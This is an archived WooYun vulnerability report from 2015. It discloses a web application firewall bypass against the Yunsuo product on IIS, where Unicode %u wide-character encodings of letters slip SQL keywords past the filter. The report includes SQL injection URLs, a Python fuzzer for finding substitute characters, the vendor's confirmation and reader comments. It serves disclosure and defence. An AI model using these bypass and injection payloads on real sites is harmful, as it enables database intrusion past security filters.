当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115175

漏洞标题:一个有意思的通用windows防火墙bypass(云锁为例)

相关厂商:云锁

漏洞作者: MayIKissYou

提交时间:2015-05-20 17:41

修复时间:2015-08-23 09:46

公开时间:2015-08-23 09:46

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-20: 细节已通知厂商并且等待厂商处理中
2015-05-25: 厂商已经确认,细节仅向厂商公开
2015-05-28: 细节向第三方安全合作伙伴开放
2015-07-19: 细节向核心白帽子及相关领域专家公开
2015-07-29: 细节向普通白帽子公开
2015-08-08: 细节向实习白帽子公开
2015-08-23: 细节向公众公开

简要描述:

一个有意思的通用bypass

详细说明:

1:之前自己总结了一个帖子,内容上将waf bypass分了几个层面,其中有一个层面是web服务器层面,记得在内容上提到了iis服务器的一些trick
2:IIS在对%u0011形式的内容的时候,是可以解析的,例如我的url为:

http://192.168.15.130/letmetest.asp?t=152522098 and(select top 1  eventname_en from eventshelp)>0


我将url编码为:

http://192.168.15.130/letmetest.asp?t=152522098 and(s%u0065lect top 1  eventname_en from eventshelp)>0


s%u0065lect的形式的时候也会被iis解析为select
3:于是我先在本地搭建了一个云锁的环境,iis版本,本机使用了windows2003的环境,
并且创建了一个有漏洞的页面http://192.168.15.130/letmetest.asp
4:我先用以上方式去访问 %u0065的方式,此时发现云锁此种情况过滤了.
5:此时正题来了,
奇葩的想法是这里应该%uxxxx可以填写65535次个字符,会不会有不同国家的编码select对应解析出来成为ascii的select阿![事后发现是多傻吊的想法]
6:自己写了个代码:

import httplib
import re
url = '192.168.15.130'
payload = '/letmetest.asp?t=152522098/**/%u00aand(s%u'
for i in range(65536):
result = hex(i).replace('0x','')
if len(result)<4:
c = 4-len(result)
b = '0'*c
zz = b + hex(i).replace('0x','')
else:
zz = hex(i).replace('0x','')
test = '%slect/**/count(*)/**/from/**/eventshelp)>0' % zz
conn = httplib.HTTPConnection(url)
try:
conn.request('GET',payload+test)
res = conn.getresponse().read()
if re.search('Acunetix',res):
print 'test char:char(%s)' % zz
except:
pass


代码有点搓,大致的想法就是测试select中e的字母能否被%u的其他字符替代。
7:测试结果:

yunsuo.png


我擦竟然有一个字符%u00f0被当成e字符了,我输入s%u00f0lect 被iis解析滞后成了select
貌似这样绕过了云锁的防御。
8:我使用%u0065访问,直接被云锁干掉了

yunsuo2.png


9:我使用%u0095访问,直接报错注入,出来内容了

yunsuo3.png


注意图片中的and中的a,也被我用同样的方式处理了。
10:擦 难道真的和我说的一样,我还是太天真了,之前吊死的想法往往最后通过查资料都证明自己二了,查阅了一段时间的资料之后搜索到一片文章。

http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html


写的是一篇IIS的新UNICODE漏洞WideChar和MultiByte字符转换问题,貌似是大牛yuange写的,前面竟然写的是2002年。
11: 看了半天,查阅了其他一些资料大致意思应该是我们传入的是widechar,widechar iis可以处理,会被转换。这里转换的时候会出现一个问题。

多个widechar会有可能转换为同一个字符。


12:我测试了一下发现有些字符是会出现的,有些就不会出现多个转换成一个的情况,但是对于检测来说,往往只需要一个字符,即可达到绕过规则的目的。
13:这种类型的问题一般都会有通用型,web服务器特性导致的绕过一般影响面是比较广的。
尤其是那种云waf或则硬件waf,而且不仅仅是影响注入,其他的防御也会受到影响。

漏洞证明:

8:我使用%u0065访问,直接被云锁干掉了

yunsuo2.png


9:我使用%u0095访问,直接报错注入,出来内容了

yunsuo3.png


注意图片中的and中的a,也被我用同样的方式处理了。

修复方案:

对于敏感关键字的增加过滤

版权声明:转载请注明来源 MayIKissYou@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-25 09:45

厂商回复:

感谢MayIKissYou对我们的关注,此问题将在云锁下个公开版本中解决。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-20 17:48 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    520天显异像,两个精华同时曝出。。。

  2. 2015-05-20 17:50 | MayIKissYou ( 普通白帽子 | Rank:195 漏洞数:33 | 勿忘初心)

    @疯狗 妹子跟别人吃饭了啊 我擦

  3. 2015-05-20 17:52 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  4. 2015-05-20 17:53 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    分析的好

  5. 2015-05-20 18:01 | hackyandi ( 普通白帽子 | Rank:111 漏洞数:16 | 一个没有梦想的人)

    520天显异像,两个精华同时曝出。。。

  6. 2015-05-20 18:03 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    又一个fuzz的经典案例..

  7. 2015-05-20 18:09 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @felixk3y 为什么什么细节你都知道?还能不能好好玩耍了?!

  8. 2015-05-20 18:17 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @梧桐雨 心有灵犀,知道不...

  9. 2015-05-20 18:28 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    @felixk3y 还不把首页全部撸成精华

  10. 2015-05-20 18:57 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    哈哈

  11. 2015-05-20 20:18 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    看看

  12. 2015-05-20 22:41 | 绽放的菊花 ( 路人 | Rank:17 漏洞数:2 | 绽放中的菊花)

    duang的一下,闪电出来了

  13. 2015-05-21 12:28 | only_admin ( 路人 | Rank:11 漏洞数:5 | ~~~~我只是个孩子╭(°A°`)╮~~~~)

    这说明乌云大部分都是单身!!@ 疯狗 来个wooyun相亲!

  14. 2015-08-19 16:43 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    全角半角的自动转换吗,n年前的东西啦,我要发个%s%e%l%e%c%t绕过iis6的是不是也能精华啊

  15. 2015-08-19 17:49 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    思路屌!学习了

  16. 2015-08-20 10:06 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个很不错,原来Unicode宽字符还有这种漏洞哈,给力给力

  17. 2015-08-26 14:18 | 柱子 ( 路人 | Rank:25 漏洞数:4 | 专注APP)

    @疯狗 @浩天 wooyun-2010-0137091 wooyun-2010-0137080 求审核